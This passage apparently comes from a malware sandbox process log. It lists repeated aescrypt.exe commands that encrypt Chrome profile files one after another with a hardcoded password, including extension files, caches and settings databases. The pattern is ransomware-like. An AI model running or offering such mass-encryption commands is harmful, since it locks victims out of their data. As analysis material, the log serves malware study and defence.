  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\pt_PT\messages.json"
  2⤵
  PID:9152
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\ro\messages.json"
  2⤵
  PID:7884
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\ru\messages.json"
  2⤵
  PID:6712
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\si\messages.json"
  2⤵
  PID:6744
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\sk\messages.json"
  2⤵
  PID:6680
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\sl\messages.json"
  2⤵
  PID:7244
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\sr\messages.json"
  2⤵
  PID:8280
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\sv\messages.json"
  2⤵
  PID:8360
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\sw\messages.json"
  2⤵
  PID:8384
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\ta\messages.json"
  2⤵
  PID:8252
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\te\messages.json"
  2⤵
  PID:8476
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\th\messages.json"
  2⤵
  PID:8484
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\tr\messages.json"
  2⤵
  PID:8460
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\uk\messages.json"
  2⤵
  PID:8464
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\ur\messages.json"
  2⤵
  PID:8504
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\vi\messages.json"
  2⤵
  PID:8628
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\zh_CN\messages.json"
  2⤵
  PID:8636
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\zh_HK\messages.json"
  2⤵
  PID:60
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\zh_TW\messages.json"
  2⤵
  PID:5484
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\zu\messages.json"
  2⤵
  PID:8588
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_metadata\computed_hashes.json"
  2⤵
  PID:8648
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_metadata\verified_contents.json"
  2⤵
  PID:1680
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js"
  2⤵
  PID:8684
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js"
  2⤵
  PID:4472
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\manifest.json"
  2⤵
  PID:4824
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\craw_window.css"
  2⤵
  PID:708
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\craw_window.html"
  2⤵
  PID:1072
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif"
  2⤵
  PID:1060
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_128.png"
  2⤵
  PID:2012
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_16.png"
  2⤵
  PID:4484
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button.png"
  2⤵
  PID:3916
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_close.png"
  2⤵
  PID:8396
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_hover.png"
  2⤵
  PID:8676
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_maximize.png"
  2⤵
  PID:8548
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_pressed.png"
  2⤵
  PID:8572
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\messages.json"
  2⤵
  PID:8772
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ca\messages.json"
  2⤵
  PID:8816
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\cs\messages.json"
  2⤵
  PID:8840
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\da\messages.json"
  2⤵
  PID:8860
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\de\messages.json"
  2⤵
  PID:8708
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\el\messages.json"
  2⤵
  PID:8796
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json"
  2⤵
  PID:2760
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en_GB\messages.json"
  2⤵
  PID:8740
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es\messages.json"
  2⤵
  PID:8876
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es_419\messages.json"
  2⤵
  PID:8120
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\et\messages.json"
  2⤵
  PID:8024
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fi\messages.json"
  2⤵
  PID:7160
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fil\messages.json"
  2⤵
  PID:8100
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fr\messages.json"
  2⤵
  PID:8096
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hi\messages.json"
  2⤵
  PID:8180
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hr\messages.json"
  2⤵
  PID:5020
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hu\messages.json"
  2⤵
  PID:7940
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\id\messages.json"
  2⤵
  PID:2780
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\it\messages.json"
  2⤵
  PID:324
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ja\messages.json"
  2⤵
  PID:3760
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ko\messages.json"
  2⤵
  PID:2044
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\lt\messages.json"
  2⤵
  PID:7896
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\lv\messages.json"
  2⤵
  PID:8164
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nb\messages.json"
  2⤵
  PID:7508
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nl\messages.json"
  2⤵
  PID:8224
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pl\messages.json"
  2⤵
  PID:8212
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pt_BR\messages.json"
  2⤵
  PID:8904
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pt_PT\messages.json"
  2⤵
  PID:2408
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ro\messages.json"
  2⤵
  PID:8924
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ru\messages.json"
  2⤵
  PID:1760
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sk\messages.json"
  2⤵
  PID:2356
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sl\messages.json"
  2⤵
  PID:8956
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sr\messages.json"
  2⤵
  PID:8948
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sv\messages.json"
  2⤵
  PID:6368
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\th\messages.json"
  2⤵
  PID:6384
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\tr\messages.json"
  2⤵
  PID:3404
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\uk\messages.json"
  2⤵
  PID:6356
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\vi\messages.json"
  2⤵
  PID:1952
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_CN\messages.json"
  2⤵
  PID:5148
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_TW\messages.json"
  2⤵
  PID:6508
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json"
  2⤵
  PID:5440
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\verified_contents.json"
  2⤵
  PID:6012
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOCK"
  2⤵
  PID:1812
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG"
  2⤵
  PID:7096
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old"
  2⤵
  PID:6236
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOCK"
  2⤵
  PID:4368
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG"
  2⤵
  PID:7652
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG.old"
  2⤵
  PID:6868
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000003.log"
  2⤵
  PID:6192
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT"
  2⤵
  PID:7052
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOCK"
  2⤵
  PID:5288
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG"
  2⤵
  PID:5296
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old"
  2⤵
  PID:5284
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\MANIFEST-000001"
  2⤵
  PID:8976
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_0"
  2⤵
  PID:5988
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1"
  2⤵
  PID:6000
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_2"
  2⤵
  PID:8980
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_3"
  2⤵
  PID:6472
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\index"
  2⤵
  PID:8148
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log"
  2⤵
  PID:7328
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT"
  2⤵
  PID:7336
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\LOCK"
  2⤵
  PID:6464
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\LOG"
  2⤵
  PID:7364
- C:\Users\Admin\Desktop\aescrypt.exe
